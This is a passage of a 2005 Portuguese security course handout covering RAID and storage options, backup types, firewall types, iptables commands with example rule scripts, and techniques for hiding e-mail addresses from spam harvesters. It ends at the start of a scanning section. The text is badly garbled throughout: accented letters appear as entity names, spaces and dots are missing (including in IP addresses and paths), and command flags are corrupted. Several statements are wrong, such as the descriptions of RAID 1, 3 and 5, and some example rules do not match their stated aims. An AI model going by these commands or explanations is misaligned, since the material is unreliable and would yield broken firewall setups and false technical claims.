armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

